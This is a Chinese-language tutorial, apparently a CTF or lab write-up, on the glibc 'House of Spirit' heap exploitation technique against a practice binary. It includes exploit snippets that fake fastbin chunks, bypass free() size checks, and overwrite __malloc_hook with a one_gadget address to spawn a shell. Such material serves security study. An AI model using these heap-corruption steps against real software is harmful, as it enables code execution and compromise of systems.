House of Spirit
House of Spirit的核心思路就是,当拥有了一个堆指针的写权限后,通过修改这个指针可以对任意chunk调用free,进一步由这样的能力转化为任意地址写和代码执行的能力。
实践
首先检查一下程序的安全机制

程序运行开始时给出了libc的地址和堆的起始地址
输入age和username两个参数后进入常规的堆菜单
这里对malloc函数有一个限制,申请的大小必须是smallbins,即0x20到0x3f0之间

这个程序的漏洞点在于输入chunk name的地方,允许输入的name长度是0x10,但是m_array本身定义的name字段长度是8,这里发生了溢出导致接下来的ptr可能被覆盖

在GDB中调试一下

这里写的name长度是8个字符
任意地址写
下面首先尝试获取到任意地址写的能力
使用我们之前已经学过的方法
既然我们能够控制堆指针,那我们就可以free掉一个伪造的chunk
可以利用fastbin dup中使用到的方法在想要写的位置附近申请一个chunk

可以看到我们要修改的target上方的0x602018处有我们输入的age
如果将这个值伪造成一个chunk的size
那么我们就可以利用fastbin dup申请这一块的区域
回忆一下,fastbin dup需要free三次相同大小的fastbin,并且之后需要malloc四次
free(a)
free(b)
free(a)
在这个例子中因为每次想要得到一个指针,都需要malloc一次,并通过溢出name修改指针
所以free三次就需要malloc三次
这三个指针都指向我们伪造的chunk中

这样在一个大小为0x200的chunk中伪造了两个0x60大小的chunk
利用fastbin dup的方法free三次之后可以看到fastbin形成了一个环

接下来就是fastbin dup中使用的方法malloc四次,在我们目标的target附近申请一个chunk

完成之后target的字符串被修改为了Much Win
也就是说我们实现了一个任意地址写
age=0x61
name = b"A"*8
chunk_A = malloc(0x1f8, (p64(0)+p64(0x61)+p64(0)*10)*2, name)
chunk_B = malloc(0x68, b"Y"*0x18, name+p64(heap+0x20))
chunk_C = malloc(0x68, b"Y"*0x18, name+p64(heap+0x80))
chunk_D = malloc(0x68, b"Y"*0x18, name+p64(heap+0x20))
free(chunk_B)
free(chunk_C)
free(chunk_D)
#
malloc(0x58, p64(0x602010), name)
malloc(0x58, b'x'*18, name)
malloc(0x58, b'x'*18, name)
malloc(0x58, p64(0)*8 + b'Much Win', name)
但是这里存在一个问题,我们使用了8次malloc才实现这样一个效果
有没有更简单的方法呢?
不如来尝试一下直接在第一次malloc时就直接修改指针指向目标的target处
age = 0x6f
name = b"A"*8
chunk_A = malloc(0x18, b"Y"*0x18, name+p64(0x602010+0x10))
free(chunk_A)
因为栈中存储的指针是chunk的user data部分,所以覆盖的值需要加0x10
这样运行之后在执行free时报错了,gdb直接raise了一个error

注意到这里的backtrace和我们预期中不太一样,报错并不是free的报错
而是munmap_chunk函数出现了错误

使用malloc_chunk &user可以看到这个chunk被解析时的标志位
其中IS_MMAPED是被设置了的
当一个chunk存在这个标志位时,申请时是通过mmap申请而非malloc申请的
同理释放时通过unmmap而非free
这就和我们预期不同了,我们希望它能够free之后进到fastbin中,方便接下来再申请过来
那么修改一下age,从0x6f改为0x61呢?
运行时又出错了,不过这次是free出现的错误
切换到_int_free的frame看一下报错的原因

这里报错提示的是free(): invalid next size (fast)
使用list 4245查看完整的检查内容

这里检查的是chunksize_nomask(chunk_at_offset(p,size))<=2*SIZE_SZ以及chunksize(chukn_at_offset(p,size))>= av->system_mem
也就是说我们伪造的chunk之后的内容,是否小于2*SIZE_SZ或大于整个系统的内存
在我们伪造的chunk之后的内容正好是0,所以不满足第一个条件

这里实际上检查的是绿色方框的内容,可以注意到再后面就是username存储的位置
如果我们设置大小为0x71,并且把username设置为一个合适的大小,或许就可以绕过这个检查了
age = 0x71
username = p64(0)+p64(0x20ff1)
name = b"A"*8
chunk_A = malloc(0x18, b"Y"*0x18, name+p64(0x602010+0x10))
free(chunk_A)
这里填的一个值是Top chunk的大小,这次运行没有报错
那么接下来直接malloc一个0x70大小的chunk就可以修改target的值了
target = malloc(0x68, p64(0)*8 + b"Much Win",name)
这样我们就只利用两次malloc实现了写的操作

这种方法有几个地方需要确保:
- Fake Size的
IS_MAPPED、NON_MAIN_ARENA、UNUSED位都需要清零; - 需要能控制fake chunk后面的nextsize
代码执行
那么接下来就是尝试将任意地址写转换成代码执行
这部分的核心思路是申请到_malloc_hook附近的chunk,进而修改_malloc_hook
直接使用fastbin_dup中的方法就可以实现

在malloc_hook附近查找有没有可以伪造的chunk
然后直接改一下利用fastbin dup写的目标地址和size
把malloc_hook覆盖成一个one_gadget的地址

name = b"A"*8
chunk_A = malloc(0x68, b"Y"*0x18, name)
chunk_B = malloc(0x68, b"Y"*0x18, name)
chunk_C = malloc(0x68, b"Y"*0x18, name+p64(heap+0x10))
free(chunk_A)
free(chunk_B)
free(chunk_C)
malloc(0x68, p64(libc.sym.__malloc_hook - 0x23), name)
malloc(0x68, b'x'*18, name)
malloc(0x68, b'x'*18, name)
# malloc(0x68,b'\x00'*0x13 + p64(libc.sym.system),name)
malloc(0x68, b'B'*0x13 + p64(libc.address+0xe1fa1) , name)
尝试了一下把__malloc_hook改成system,但是发现不管用
最后还是使用 one_gadget了
最后再调用一次malloc就可以获取到一个shell